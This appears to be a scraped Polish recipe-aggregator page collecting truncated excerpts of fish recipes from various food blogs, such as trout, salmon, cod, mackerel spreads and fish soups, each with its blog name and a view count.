dekorowanie , co napewno wykorzystam w niedalekiej przyszłości! Stoły wypełnione przeróżnymi przysmakami przyprawiały o zawrót głowy – mogliśmy szaleć do woli – chyba każdy to przyzna : przesadziliśmy!!! :D Przepyszne , aromatyczne ryby … mięsa … sałatki(...)warzywa … owoce … sorbety … ciasta i desery zachwycały nie tylko wyglądem , ale i smakiem!!! Ja jak to ja : wybrałam na ostro i na słodko ;) Fantastyczne gnocchi … ryby , chrupiące warzywa …. a do tego obłędny ( naprawdę obłędny!!! ) sernik … tarta z truskawkami … i delikatna pana cotta ( Mama dodatkowo delektowała się tiramisu i sorbetem z owocami

Ostra na Słodko
Pstrąg z patelni z ziołami 109

łyżkami masła i umieszczamy w środku ryby. Cebulę siekamy w piórka , marchew kroimy w plasterki. Na patelni rozgrzewamy masło , dodajemy cebulę i marchew , chwilę podsmażamy. Dodajemy naszą rybę i na wolnym ogniu smażymy z każdej strony ( ok. 15 minut ), polewając masełkiem. Dodajemy pietruszkę , podajemy gorące! Smacznego

Ostra na Słodko
ROLADKI Z TILAPII 145

Lubicie rybę po grecku? Ja zaproponuję takie oto roladki. Alternatywa dla ryby po grecku. Smakuje tak samo, wygląda troszkę inaczej. Polecam   Składniki: 70 dag filetu z tilapii 4 marchewki 1 pietruszka 1/2 selera 1 por-biała część 1 słoiczek koncentratu pomidorowego z czosnkiem pół szklanki wody mąka do panierki olej do smażenia sół,pieprz do smaku Wykonanie: Filety

Z Majeczką w kuchni
Pasta z wędzonej makreli 206

pęczka szczypiorku 2 łyżki ketchupu łagodnego 1 łyżka musztardy delikatesowej sól, pieprz do smaku WYKONANIE Rybę oczyszczamy z ości dokładnie rozdrabniamy i wkładamy do miski , dodajemy twaróg.. Jajka  gotujemy na twardo. Cebulkę i ogórek kroimy w drobną kostkę i dodajemy do ryby. Jajka siekamy  drobno dodajemy do składników pasty. Doprawiamy odrobiną solą i pieprzem. Dodajemy musztardę

W kuchennym oknie Ewy
Dietetyczne filety z dorsza w ziołach - filetti di pesce alle spezie 162

Bardzo często zdarza się nam kupować mrożone filety z ryby, które stanowią  ważny element naszej diety. Zwykle są  spożywane jako danie smażone w panierce itd. Nie wiem jak Wy, ale ja nie mogę jeść zbyt często smażonych potraw, dlatego też dzielę się z Wami przepisem, który też jest bardzo smaczny a co najważniejsze nadaje się dla wszystkich

zielonacukinka
Morszczuk w Cieście 202

konsystencje gęstej śmietany (gdy jest za rzadkie dodajemy odrobinę mąki, gdy za gęste - mleka). Każdy kawałek ryby zanurzamy w przygotowanym cieście i od razu kładziemy na rozgrzany olej (rybę smażymy w głębokim tłuszczu po ok. 4 minuty z każdej strony). Morszczuka podajemy z ziemniakami w dowolnej postaci i ulubionymi surówkami. Moje posty

Słodka Strona
Polecane książki kucharskie: Jamie Oliver – Gotuj sprytnie jak Jamie (recenzja i opinia) 184

spiżarni oraz w co wyposażyć kuchnię. Dopiero w dalszej części książki znajdziemy 120 przepisów podzielonych na 6 rozdziałów w zależności od wiodącego składnika: warzywa, kurczak, wołowina, wieprzowina, jagnięcina, ryby i dodatkowe przepisy . Każdy z przepisów jest opatrzony ilością porcji, czasem przygotowania i ilością kalorii, ale to standard każdej książki kucharskiej. Każde danie ma jedno lub kilka zdjęć(...)warzyw, jak wykorzystać nadmiar papryczek chilli, jak przygotowywać i przechowywać zioła, w jaki sposób przygotowywać zioła w maśle, w oliwie, suszone, co zrobić z czerstwym, suchym chlebem, jak kupować ryby i czym się kierować przy ich zakupie, jak wykorzystać resztki owoców, i wiele innych… Podsumowując: Jedna z najlepszych kulinarnych książek ostatnich lat! Mnóstwo świetnych, prostych i tanich przepisów

WojnaNaSmaki.pl
Grillowany łosoś w sosie teriyaki w towarzystwie buraczków na rukoli 337

teriyaki i łosoś to idealne połączenie smaków. Grillowanie tej ryby w słodko-słonym sosie daje wspaniałe rezultaty. Towarzystwo buraczków na rukoli, ulubionego pleśniowego sera (tym razem w tej roli camambert) i prosty vinaigrette musztardowy cudownie dopełniają tę kompozycję. Danie szybkie, proste i smaczne(...)trochę mniej banalne niż zwykle. Polecam! Składniki na 2 porcje: 2 filety z łososia 50 ml sosu teriyaki (polecam domowy z tego przepisu ) sok z cytryny sól morska Przygotowanie: Rybę umyć, posolić, skropić cytryną, a na końcu wmasować w nią sos teriyaki. Odstawić na czas przygotowania sałatki, a następnie usmażyć na patelni grillowej (po 2-3 minuty z każdej strony

Food Square
Grillowany łosoś z cytryną i granatem, podawany z purée z groszku i pieczonymi batatami 121

delikatny smak, gdy po prostu zostanie on nią skropiony przed smażeniem. Dlatego też zrobiłem pewien eksperyment - zamiast marynować łososia w jej soku, dodałem ją jako uzupełnienie do usmażonej już ryby. Wyszło świetnie. Podczas jedzenia najpierw wyczuwamy smaki osobno, a dopiero później łączą się one w naszych ustach. Kwaskowatość cytryny przełamałem cierpko-słodkim granatem i rubinowym, słodko-winnym sosem(...)patelni grillowej) i smażyć 3-4 minuty z każdej strony aż ładnie się przyrumieni. Następnie na każdy kawałek kładziemy cząstki cytryny wraz z oliwą i pestki z granatu. Rybę podajemy z purée z zielonego groszku i pieczonymi batatami (przepisy poniżej). Na sam koniec łososia jak i bataty polewamy sosem z granatów. Pieczone bataty: 4 średniej wielkości bulwy batatów 2 łyżki

Food Square
W malinowym chruśniaku, czyli grillowane rolady z łososia w nori na musie malinowym z letnią sałatką z ogórka 180

sushi. Wziąć drugi płat nori i zwilżyć go odrobiną wody. Na 1/3 wysokości położyć przygotowany rulon z łososiem i zawinąć w podobny sposób. Analogicznie postąpić z pozostałymi kawałkami ryby. Otrzymane 4 rulony z łososia posmarować odrobiną oleju(...)Grillować na średnim ogniu obracając każdy rulon o 60 ° co 20 sekund. Łączenie powinniśmy je grillować przez 2 minuty, aż glony staną się lekko złote i chrupiące, a ryba na zewnątrz płata nori upieczona. Zdjąć z grilla, a każdy rulon pokroić na 8 kawałków. Mus malinowy: 1 szklanka malin, plus trochę do dekoracji 1 łyżka masła 1 łyżka miodu

Food Square
Ćevapcići z sosem tzatziki 211

ryby. W części kontynentalnej tego kraju przeważają dania z baraniny, jagnięciny i wieprzowiny, rzadziej z drobiu. Natomiast na wybrzeżu króluje zdrowa i lekka kuchnia śródziemnomorska - owoce morza, ryby, oliwki. My skupimy się dziś na tej pierwszej. Ćevapcići, to podłużne kotleciki z mięsa mielonego, przypominające nasze rodzime kotlety mielone. Różnią je sposób przygotowania i przyprawy.  Potrzebne

W poszukiwaniu inspiracji
Pasta rybna 209

pieczywa z makreli . Pasta rybna  SKŁADNIKI: jajka -3 szt makrela wędzona -1 szt masło miękkie - 3 łyżki ogórki korniszony -3 szt sól i pieprz koperek PRZYGOTOWANIE: Z ryby usunąć ości, rozdrobnić na kawałki.  Jajka włożyć(...)rondla, wlać wodę, gotować 10 minut na twardo.  Następnie obrać jajka ze skorupek i bardzo drobno pokroić.  Ogórki zetrzeć na tarce o drobnych otworach.  Jajka,  rybę,  ogórki i masło wymieszać.  Doprawić do smaku solą i pieprzem.  Wierzch pasty posypać koperkiem. (function(d, s, id) { var js, fjs = d.getElementsByTagName(s)[0]; if (d.getElementById

Kuchnia Danusi
Pstrąg z migdałami 158

Ilość porcji: 1 Czas przygotowania: 15 minut Składniki: 1 patroszony pstrąg 1 łyżka płatków migdałowych 1 łyżeczka sok z cytryny 2 łyżki masła Przyprawy: sól, pieprz Wymytą i osuszoną rybę posypujemy solą, pieprzem oraz skrapiamy sokiem z cytryny. Na patelni rozgrzewamy masło. Smażymy rybę z obu stron do zarumienienia. Ściągamy rybę, a wrzucamy płatki migdałów. Smażymy je, aż się zezłocą(...)Rybę układamy na talerzu, dodajemy cytrynę oraz polewamy masłem z migdałami. Smacznego

Kolizje Smaków
Pasta do kanapek 8543

składniki: 1 średniej wielkości makrela wędzona około 6 kawałków suszonych pomidorów z zalewy natka pietruszki pieprz mielona chilli  wykonanie: Rybę obieramy ze skóry, pozbawiamy ości i rozdrabniamy (można za pomocą widelca) Suszone pomidory miksujemy i dodajemy do ryby. Na koniec dodajemy posiekana natkę pietruszki oraz doprawiamy pieprzem i chilli. Można dodać odrobinę dobrej jakości oliwy jeśli pasta jest

Przysmaki Karolki
Smaczny sos paprykowo- marchewkowy 170

Podaję dziś przepis na sos do mięs , ryby, który powstał z potrzeby chwili. Jest bardzo smaczny, a połączenie marchewki, papryki, czosnku okazało się całkiem ciekawe. SKŁADNIKI: 2 marchewki 1 duża papryka 2 pomidory 3 ząbki dużego czosnku 1 cebula pół łyżki oleju sól pieprz do smaku WYKONANIE: Cebulę kroimy  w kostkę i chwilę podduszamy na oleju. Dodajemy marchewkę(...)papryka, ale nie musi, bowiem i tak wszystko zblendujemy. Pod koniec dodajemy wyciśnięty przez praskę czosnek. Wszystko, jak wspomniałam blendujemy, doprawiamy do smaku solą i pieprzem. Podajemy do mięs, ryb. SMACZNEGO   Czekam na Państwa opinie i cenne rady. Jeśli zostawicie tutaj swój ślad, łatwiej mi będzie trafić

W kuchennym oknie Ewy
Śledzie w pomidorach 136

Jakiś czas temu mój Małżonek pojechał na ryby, na molo i przywiózł do domu swoje łupy. Piękne, mięsiste śledzie. Bardzo lubimy oboje śledzie w konserwie, ale  z powodu dużej zawartości soli w nich staramy się ich nie kupować . Jak tylko zobaczyłam(...)masę świeżych rybek postanowiłam zrobić sama takie śledzie  w sosie pomidorowym .Śledzie czyścimy, odcinamy głowy i myjemy. Następnie osuszamy , nacieramy lekko solą i oprószamy w mące . Tak przygotowane ryby smażymy   na gorącym oleju na złoty kolor z dwóch stron. Już usmażone śledzie kładziemy na papierowy ręcznik w celu pozbycia się nadmiaru tłuszczu i ostudzenia. Kiedy rybki

Pasje Jolki
Zupa rybna pomidorowa 177

przygotowania aromatycznej zupy rybnej doskonale nadają się resztki ryb, które pozostają po filetowaniu. Robi się z nich bulion rybny , służący jako baza zupy. Reszta składników to inwencja kucharza Składniki: 1 dorsz 1 puszka pomidorów pelati -400 g (razem z zalewą) 1 cebula 4 ząbki czosnku 1/2 szklanki białego wytrawnego wina 1 liść laurowy 3 łyżki oliwy z oliwek (extra(...)czosnek, koncentrat pomidorowy i przyprawy. Gotujemy do miękkości ziemniaka, następnie wyjmujemy liść laurowy i wszystko miksujemy. Dodajemy do zupy pokrojonego dorsza i gotujemy jeszcze przez około 10 minut, aż ryba się ugotuje. Delikatnie mieszamy. Dokładamy masło i doprawiamy solą i pieprzem. Gotową zupę rybną przekładamy na talerz i posypujemy posiekaną natką pietruszki. Smacznego

Oryginalny smak
SMAŻONA SOLA W SOSIE SEROWO-KOPERKOWYM 204

Sola jest chudą rybą, bardzo delikatną w smaku o apetycznym białym mięsie. Zwana jest także złocicą europejską. Jest ona jedną z nawykwintniejszych ryb morskich. Dziś serwuję ją z pikantnym sosem paprykowym, który wspaniale  współgra z jej delikatnością oraz brokułami. Składniki: filety z soli (ja miałam mrożone) 1 cebula sól pieprz biały mąka 2 jajka bułka tarta

Walijskie Pichcenie
Łosoś z pieczoną dynią 145

moim stole zagościł łosoś z pieczoną dynią. Nie licząc ubrudzenia malaksera to danie jednogarnkowe (a raczej jednoblachowe) i bardzo szybkie. Smak słodko-ostrej dyni świetnie łączy się z tłustą rybą, którą neutralizuje orzeźwiające pesto. Syty i jednocześnie zdrowy obiad w sam raz na chłodniejsze dni. Łosoś z pesto (dla 4 osób): 4 porcje filetu z łososia bez skóry 1 duży(...)ząbek czosnku, pestki dyni, parmezan, sok z cytryny oraz oliwę. Miksujemy na gładko (można też utłuc i rozetrzeć w moździerzu). Przyprawiamy solą i pieprzem. Pesto smarujemy na każdym filecie ryby zostawiając trochę do podania. Po 15 minutach pieczenia dyni, wyjmujemy blachę, dokładamy filety z łososia z pesto, wkładamy z powrotem i pieczemy jeszcze razem przez kolejne 12-14 minut

Poezja smaku
Bliskie spotkania trzeciego stopnia – sałatka, wędzona ryba i Vasco da Gama 152

długo pieczonego buraka z nutą chrzanu i karmelizowanym boczkiem. Znaczy mielony z ziemniakami i buraczkami zasmażanymi. Sałatka jest banalnie prosta, ale robiąca wrażenie. Potrzebujemy wędzonego pstrąga – lub dowolną wędzoną rybę, byleby poszarpaną na ładne kawałki ugotowane w mundurkach ziemniaki cebulę czerwoną kilka kiszonych ogórków kilka gałązek selera naciowego – nie każdy lubi więc można pominąć paprykę dowolnego koloru cebulka dumka(...)ktoś nie ma to olej z musztardą francuską z ziarnami gorczycy pół łyżki ostrej musztardy sól pieprz paseczki kwaskowatego jabłka do dekoracji Ziemniaki gotujemy, warzywa kroimy w zgrabne kawałki, rybę dzielimy na kawałeczki i uważamy na ości. Umieszczamy wszystkie składniki w misce. Doprawiamy solą, pieprzem i olejem z musztardą. Wszystko. Prosto, smacznie i inaczej

ladykitchen
Madera, raj na Oceanie Atlantyckim 175

tych, jakie są dostępne w polskich sklepach! Są słodsze, bardziej kremowe, absolutnie niesamowite! Są również dosatkiem do najbardziej charakterystycznej potrawy z ryb espada com banana , czyli panierowany filet ryby pałasz ze smażonym na maśle bananem i dodatkami. Danie absolutnie warte skosztowania. Kuchnia na maderze to doprawdy raj dla smakoszy. Lepiej niż słowa opowiedzą o niej zdjęcia regionalnych potrawjakimi

Taste Of My Day
Paprykowa sałatka z pstrągiem wędzonym 183

czasu chcą cieszyć się zdrowym i smacznym domowym jedzeniem, a dzisiaj aromatu będzie niemało bo na talerzu gości wędzony pstrąg! Ryba ta, jak zapewne większość, zachwyca nie tylko pod względem smaku, ale i właściwości. Dostarcza bowiem najwięcej spośród ryb słodkowodnych cennych kwasów omega-3. Nie wszystkie tłuszcze są dla nas niewskazane i szkodliwe, niektóre z nich, w małych ilościach

peanutbuttermonster
cukiniowa pychota na obiad z garam masala... 193

Royal Brand do drobiu, mięs, ryb - produkt naturalny,nie zawiera glutaminianu sodu - opakowanie: 30 gram - smak: cierpki i pikantny - zapach: podobny do curry, aromat Indii - zastosowanie: uniwersalne, do ryb, mięsa, drobiu, szczególnie do dań indyjskich, nadaje im smak orientu - skład: kozieradka, kmin, kolendra, gorczyca, goździki, pieprz, cynamon, anyż, czosnek, kminek

W Mojej Kuchni Lubię
dorsz szpinakiem nadziany w parowarze gotowany... 149

roladkę i wykałaczką spiąć roladki ułożyć w naczyniu do ryb w parowarze w dolnym pojemniku ułożyć na naci selera młodą obraną marchew, młode ziemniaki, na to pojemnik z rybą i z 45 minut parować roladki podać na naci selera z marchewka i ziemniakami...........SMACZNEGO

W Mojej Kuchni Lubię
Domowe śledzie 123

Śledź to bez wątpienia jedna z najpopularniejszych ryb. Kochani ten domowy śledzik nie tylko umili Wam Sylwestra, ale również poprawi nastrój, obniży cholesterol...śledź zdrową rybą jest. Zachęcamy do jedzenia nie tylko odświętnie:) Składniki; 12 solonych filetów śledziowych, czerwona cebula pokrojona w krązki, 2 marchewki pokrojone w talarki, 2 gałązki koperku /same listki/, Zalewa; 400 ml wody

Anioły w kuchni
Chowder w stylu "Manhattan". 156

masła 3 plastry bekonu pokrojone na małe kawałki 2 posiekane cebule 2 ząbki czosnku 2 łodygi selera naciowego w plasterkach 3 ziemniaki pokrojone w kostkę 1 litr wywaru z ryb lub z kurczaka 2 łyżeczki świeżego tymianku 3 plasterki świeżego imbiru 1 łyżeczka chilli 2 łyżeczki kolendry 2 łyżeczki otartej skórki z pomarańczy 1 łyżka przecieru pomidorowego puszka krojonych(...)przed podaniem. Gotować na małym ogniu ,pod przykryciem 15 min. W trakcie gotowania obrać krewetki, usunąć czarną żyłkę na grzbiecie. Dodać do rondla pomidory i przecier, zagotować. Dodać kawałki ryb i krewetki, gotować na małym ogniu 3 min. Doprawić do smaku, na talerzu posypać otartą skórką i natką pietruszki. Chowder powinien być lekko pikantny, a bardzo intrygujący jest dodatek

Kulinarny karnet Christophera
Krokiety z dorsza ze skordalią. 150

mała cebula 1 łyżka pietruszki 1 łyżeczka śmietana 18% 1 jajko 1/2 łyżeczki utłuczonego pieprzu sól cząber olej do smażenia Wykonanie. Ugotować ziemniaki w łupinie, obrać i utłuc. Mięso ryby zmielić, połączyć z ziemniakami, dodać posiekaną cebulę. śmietanę, cząber, natkę ,jajko, pieprz i sól. Wymieszać, uformować wałek i pociąć na małe krokiety. Krokiety smażyć we frytkownicy lub w rondlu(...)dobrze komponują się z wyrazistą skordalią. Skordalia ziemniaczana. Skordalia to rodzaj puree sporządzany np .z ziemniaków, migdałów czy namoczonego chleba.Wyśmienita alternatywa dla hummusu.W Grecji skordalię podaje się z rybą. Składniki . 250g mącznych ziemniaków w łupinach 2 ząbki czosnku 1 łyżka białego octu 2 łyżki oliwy z oliwek sól,pieprz czarny   Wykonanie. Ziemniaki ,najlepiej mączne, ugotować w łupinach, obrać

Kulinarny karnet Christophera
Grillowany filet z łososia w włoskiej kapuście. 155

Grilled salmon fillet in Italian cabbage. Składniki. 40 dag filet z łososia przyprawa do ryb 0,5 cytryna 4 ziemniaki 100 ml. śmietana 36% 1 żółtko(...)mozzarella 4 liście kapusta włoska 10 dag pieczarki pieprz olej do smażenia szczypiorek Wykonanie. Filet z łososia , odciąć skórę, usunąć ości, pokroić na dwie porcje, posypać przyprawą do ryb, skropić cytryną. Odstawić na 15 minut, niech przejdzie przyprawami. Ziemniaki obrać, przekroić na połowę, obgotować  około 15 minut, odlać i opiec na patelni. Liście kapusty obgotować w osolonej wodzie

Kulinarny karnet Christophera
Łosoś z warzywami w sosie chrzanowym 121

Bardzo lubię łososia,dlatego jeśli mam okazję staram się przygotować danie z tej ryby. Gotowany z warzywami na parze, polany sosem chrzanowym,  posiada wyjątkowy smak. Danie szybkie warto wypróbować. SKŁADNIKI ok 1/2 kg. łososia -filet sól , pieprz warzywa rożne- typu  marchew, kalafior, por, brokuł, ziemniaki ( właściwie to, co mamy) pół cebuli szklanka śmietany 18% 2 łyżeczki(...)chrzanu olej WYKONANIE Warzywa kroimy na drobne, łososia również dzielimy na dwa trzy kawałki, przyprawiamy. Wkładamy do garnka , do gotowania na parze. Wszytko gotujemy ok 45 min. Sos do ryby Cebulę  kroimy w kostkę i podsmażamy. Wlewamy śmietanę i dodajemy chrzan. Chwilę dusimy na małym ogniu. SMACZNEGO

W kuchennym oknie Ewy
Owocowe szaszłyki z paluszkami krabowymi (surimi) 160

słodka papryka, tymianek, szczypta soli i pół łyżeczki cukru Paluszków krabowych (które przygotowywane są z mięsa ryb z aromatem krabów) nie powinny spożywać osoby z uczuleniem na ryby i skorupiaki. Ze względu na zawartość sztucznych dodatków: wzmacniających smak, zapach i barwników lepiej nie podawać ich małym dzieciom - dla nich lepiej przygotować wersję bez surimi lub z dodatkiem łososia

głodny alergik
Roladki rybne z kapustą 156

cebula -0,5 szt jabłko -1 szt sól i pieprz olej tłuszcz przyprawa do ryb PRZYGOTOWANIE: Filety rybne przekroić wzdłuż, aby powstały z jednego fileta dwa. Oprószyć rybę przyprawą, odstawić na godzinę. Kapustę lekko odcisnąć z nadmiaru kwasu. Jabłko i marchewkę obrać, opłukać, zetrzeć na tarce o dużych otworach. Cebulę obrać pokroić w kostkę. Wszystkie składniki połączyć z kapustą

Kuchnia Danusi
Smaczna rybka w warzywach 159

Smaczna rybka w warzywach Ryba w warzywach  SKŁADNIKI: 0,5 kg mrożone filety z morszczuka 2 jajka sól i pieprz mąka 1 żółta papryka 1 czerwona papryka 2 cebule tłuszcz do smażenia 1 puszka groszku konserwowanego PRZYGOTOWANIE: Filety na noc wyjąć z zamrażalki, by się rozmroziły. Następnie pokroić morszczuka na większe kawałki. Paprykę umyć, osączyć, wydrążyć gniazda nasienne, pokroić(...)paprykę, poddusić chwilę razem. Na końcu dodać odlany i osączony groszek z puszki, sól i pieprz do smaku, wymieszać. Jajka wybić do miski, dodać sól i pieprz, rozmieszać widelcem. Rybę panierować w rozmąconym jajku i mące, smażyć na rozgrzanym tłuszczu z obu stron na złoty kolor. Przełożyć morszczuka na półmisek, obłożyć warzywami. Rybę podawać na gorąco. (function

Kuchnia Danusi
Dorsz w cieście 219

Jeśli potrzebujecie przepis na smaczną i wilgotną rybę , niewymagającą zbyt długiego przygotowywania to proponuję rybę w pysznym cieście drożdżowym .Jeżeli nie macie ochoty na dorsza to rzecz jasna może być inna ryba . Ryba ta idealnie smakuje z ziemniaczkami z wody i sałatką colesław. Składniki: filety z dorsza 1 30 g mąki 20 g pokruszonych drożdży  130ml gazowanej wody mineralnej

Gorący kąsek
Pieczona troć z pesto bazyliowo-gruszkowym! 134

marynowanego imbiru i gruszki konferencji. Ryba wyszła obłędna, talerze wylizane hihih! Polecam! SKŁADNIKI: - 2 duże filety pstrąga tęczowego (troć) - ziemniaki - kilka ząbków czosnku - oliwa z oliwek + masło - 2 garście liści bazylii  - 1/2 gruszki - łyżka marynowanego imbiru (plastry) - oliwa z oliwek - 20 orzechów laskowych - zmiksuj w/w  Naczynie wysmaruj masłem i oliwą, ułóż ryby wylej pesto i ułóż kilka

SMYKWKUCHNI
Sushi 150

zawinięte są w arkusz z glonów nori i otacza je ryż. Zewnętrzna warstwa ryżu jest posypywana sezamem lub czarnuszką. Nigiri-zushi - są to ręcznie formowane bloczki ryżu przykryte kawałkiem ryb, owoców morza lub warzyw. Często nigiri jest owinięte cienkim paskiem nori. Więc jak już wstępnie wiemy co i jak, to zabieramy się do pracy, bo trochę nam się zejdzie(...)kroimy i układamy na półmisku. Czas na ostatnią odsłonę czyli Nigiri-zushi. Formujemy z ryżu małe bloczki i układamy na nich kawałek łososia wędzonego lub pieczonego. Gdy mamy już ryby na bloczkach, to owijamy cienkim paskiem nori (pod koniec owijania jakby nie chciał sie skleić pasek, to można posmarować odrobina wody).  Gdy mamy juz wszystko gotowe układamy

Zainspiruj się kuchnią
Prosta tajska zupa rybna 264

szybka, baaardzo prosta w wykonaniu i smaczna tajska zupa rybna na mleku kokosowym. Zapraszam do gotowania! :) Składniki (2-3 porcje): 400 ml mleka kokosowego 300 g filetu z białej ryby 1 czubata łyżka pasty Tom Yum 2 łyżki sosu rybnego 200 ml wody lub bulionu warzywnego 1 duży pomidor 1 łyżeczka cukru trzcinowego 1/2 łyżeczki imbiru w proszku(...)kokosowe i wodę; doprowadzamy do wrzenia, zmniejszamy ogień, dodajemy pastę Tom Yum, sos rybny, cukier, imbir w proszku, liście curry i wiórki kokosowe.  Gotujemy 5 minut.  2. Rybę kroimy w 1-2 cm kostkę. Pomidor obieramy ze skórki i kroimy na drobne kawałki. Dodajemy do zupy (rybkę i pomidora) i gotujemy 5 minut. Po tym czasie dodajemy

Tajskie smaki
Tłuszcze 140

olej, oliwa, margaryna) oraz   zwierzęce   ( smalec, masło, łój) Tłuszcze roślinne (kwasy nienasycone) : Tłuszcze te znajdują się w olejach roślinnych oraz zawarte w orzechach, nasionach i tłustych rybach. To własnie te tłuszcze powinny stanowić podstawę żywienia tłuszczami. Kwasy nienasycone dzielimy na:  jednonienasycone , które zarówno w tem. pokojowej mają postać płynną natomiast w tem. chłodnej(...)wystąpienia chorób serca i układu krwionośnego poprzez podnoszenie  poziomu złego cholesterolu LDL we krwi. Głównym źródłem występowania  tł. nasyconych  są produkty pochodzenia zwierzęcego za wyjątkiem ryb oraz olej kokosowy. Tłuszcz, który można znaleźć w wołowinie, wieprzowinie, jagnięcinie, kurczakach czy produktach mlecznych takich jak śmietana, masło to wszystko są tłuszcze nasycone,   powinny

NaKońcuJęzyka
Kolorowy talerz smaków 168

zdrowe wie już każde dziecko.Zawiera dużo kwasów Omega-3, które działają bardzo korzystnie na nasze zdrowie. Mięso łososia można dostać pod różną postacią. Najzdrowszą i najbardziej wartościową wersją tej ryby jest świeży filet. Jest nieco droższy od łososia w dzwonkach, ale na pewno o wiele smaczniejszy. Zdecydowanie wart swojej ceny i warto zajadać go od czasu(...)czasu. Moja propozycja na dziś to łosoś z warzywami. Ogromna porcja białka i prawdziwa uczta dla podniebienia. Koniecznie wcześniej zamarynujcie rybę - będzie naprawdę idealnie soczysta po upieczeniu i zyska na smaku.  Nie zapominajcie o jedzeniu ryb, szczególnie naszych - polskich, jeziornych i rzecznych. Warto się nimi zajadać, nawet wtedy, gdy ilość ości zdecydowanie przewyższa nasze oczekiwania... No cóż, dłubanie

Sajkofanka smaku
Targi Natura Food 2013 - krótka relacja 136

też świetnych napojów na bazie naturalnego miodu. Ryba Salami - I wreszcie dotarliśmy do stoiska z węgierskimi kiełbasami. Niestety trochę się zawiodłam - moich ukochanych paprykowych kabanosków nie było. Mimo to ochoczo przystąpiliśmy do degustacji innych salami i kolbaszy i wybraliśmy kiełbasę, która najbardziej nam smakowała. Okazało się, że jest to salami z ... ryby. Pomysł na przygotowanie wędliny z ryby(...)jest ona smaczna . Choć jeśli weźmiemy pod uwagę, że firma pochodzi znad Balatonu,  to może nie jest to aż tak dziwne... ;) Pani kroi nasz kawałek ryba salami. Niestety nie wiemy, jakiej ryby użyto do jego produkcji. Bardzo się cieszę, że uczestniczyłam w tegorocznej edycji Targów Natura Food. Poznawanie nowych produktów jest ekscytujące, a spotkania z wytwórcami pouczające. Przywiozłam

Chilli Czosnek i Oliwa
POTRAWKA RYBNA DLA ZABIEGANYCH. 168

patrzę w reguły jak w obrazek, pozwolę sobie od czasu do czasu je nagiąć, w szczególności, gdy ma to istotny wpływ na moje zdrowie. Ponadto, zawsze uwielbiałam ryby i zrezygnowanie z nich w pierwszym etapie było dla mnie naprawdę trudnym wyzwaniem.Mój organizm zaczął się o nie natrętnie upominać. Pewnie każdy zawzięty wegetarianin czytając to, stuka się w głowę(...)przestanę się za wegetariankę uważać. Ryba od święta nikomu nie zaszkodziła. Ponadto, nie zaglądam nikomu w talerz, w kieszeń ani nie podważam niczyich poglądów/wyznań/reguł. Nie proszę o nic więcej, tylko o to samo. POTRAWKA RYBNA DLA ZABIEGANYCH. /własny;/ na 3-4 porcje 350g filetów z białej ryby (mintaj, dorsz, itp.) 1 słoik mieszanki warzywnej

W kuchni Karmel-itki
Zupa orientalna z warzywami 227

pyszne same w sobie… dla mnie były źródłem inspiracji – mi przyszła ochota wykorzystać je do zupy orientalnej z warzywami ! Kolejnym składnikiem tej zupy rybnej była też mieszanka ryb i owoców morza. Ostatnio w jednym z marketów odkryłam mieszankę rybną (morszczuk, łosoś, rekin, krewetki) z warzywami, postanowiłam ją wykorzystać do dzisiejszej zupy orientalnej, dorzuciłam jeszcze trochę muli, oraz(...)łyżki muli 1 łyżeczka Consommé lub bulionu drobiowo-warzywnego Winiary natka pietruszki świeży koperek śmietanka 36 % Do garnka wkładamy masło, rozpuszczamy i dodajemy warzywa, które szybko dusimy, wrzucamy mieszankę ryb i owoców morza, oraz mule, dusimy 5 minut, wlewamy 600 ml wrzącej wody z rozpuszczonym Consommé, dodajemy saszetkę przyprawy orientalnej, przykrywamy i gotujemy na małym ogniu, zupa ma tylko

Damsko-męskie spojrzenie na kuchnię
Współpraca z firmą Skworcu 179

wypieku ciast, tart a nawet wyrobu wina.   16 . Przyprawa do serników i mas serowych  17. Przyprawa do Masła to doskonała dodatek do grillowanego pieczywa, pieczonych ziemniaków, ryb lub mięs z grilla. Można nią również posmarować tosty i upiec w tosterze. Dzięki niej można przygotować  w sposób prosty chrupiące, złociste i niezwykle aromatyczne grzanki czosnkowe. Wystarczy tylko(...)patelni na złocisty kolor. 18. Przyprawa węgierska do gulaszu , leczo, do dań mięsnych . 19. Caffe de Paris  Zastosowanie: Do dipów oraz sosów, masła ziołowego, sałatek, pieczonej i grillowanej ryby. Skład: Skórka i trawa cytrynowa, pietruszka nać, koperek, cebula, szczypiorek, sól, papryka czerwona, pieprz czarny, czosnek granulowany.   20. Kardamon charakteryzuje się łagodnym aromatem o eukaliptusowej i cytrusowej nucie

Słodkości i nie tylko
Schabowy czy ryba? 161

zdziwienie mojej córki, która wróciła ze szkoły  razem z koleżanką..a na obiad schabowe ...haha..a to były jednak ryby ..smażone jak schabowe.. dowolna   ryba przyprawa do ryby  mąka  jajka sól, wegeta bułka tarta  Rybę pokroić na kawałki,natrzeć przyprawą, panierować w mące, jajku [ roztrzepanym z przyprawami]i bułce tartej .smażyć

Moje domowe kucharzenie
Pasta z wędzonej ryby i marchewki 203

jeszcze nie robiłam ..a pomysł na nią podpatrzyłam w książce Michela Morano -Moje Smaki..ja zamiast śledzia wędzonego dałam makrelę..i w sumie robiłam na oko..nie ważyłam ani ryby ani marchewki.. 125 g śledzia wędzonego [ dałam makrelę wędzoną] 250 g marchewki 1  łyżka  różowego pieprzu 1 ząbek czosnku czarny pieprz mielony [ dałam  pfeffer gold(...)plasterki.Czosnek obrać . W rondlu zagotować 1/2 l wody, wrzucić marchew i czosnek, dodałam dodatkowo sól i trochę wegety .Gotować na wolnym ogniu przez 5 minut.Odcedzić i ostudzić.Z ryby usunąć  ości i pokroić na kawałki.Ziarenka pieprzu rozdrobnić w moździerzu.Wszystkie składniki miksować razem około 10 sekund

Moje domowe kucharzenie
Ryba pieczona z włoską oliwą 130

łyżki mąki pełnoziarnistej * łyżka bułki tartej * łyżka dowolnych otrębów * sól, pieprz do smaku * sok z cytryny * 2 łyżki oliwy z oliwek   Przygotowanie : Rybę przyprawić, polać delikatnie sokiem z cytryny oraz oliwą. Każdy kawałek ryby panierować w mieszance mąki, bułki tartej oraz otrębów. Przełożyć do naczynia żaroodpornego. Piec bez przykrycia przez 20 minut, aż ryba się zarumieni. Dobrą, włoską

Magiczne Życie Marty
Rybka po grecku 195

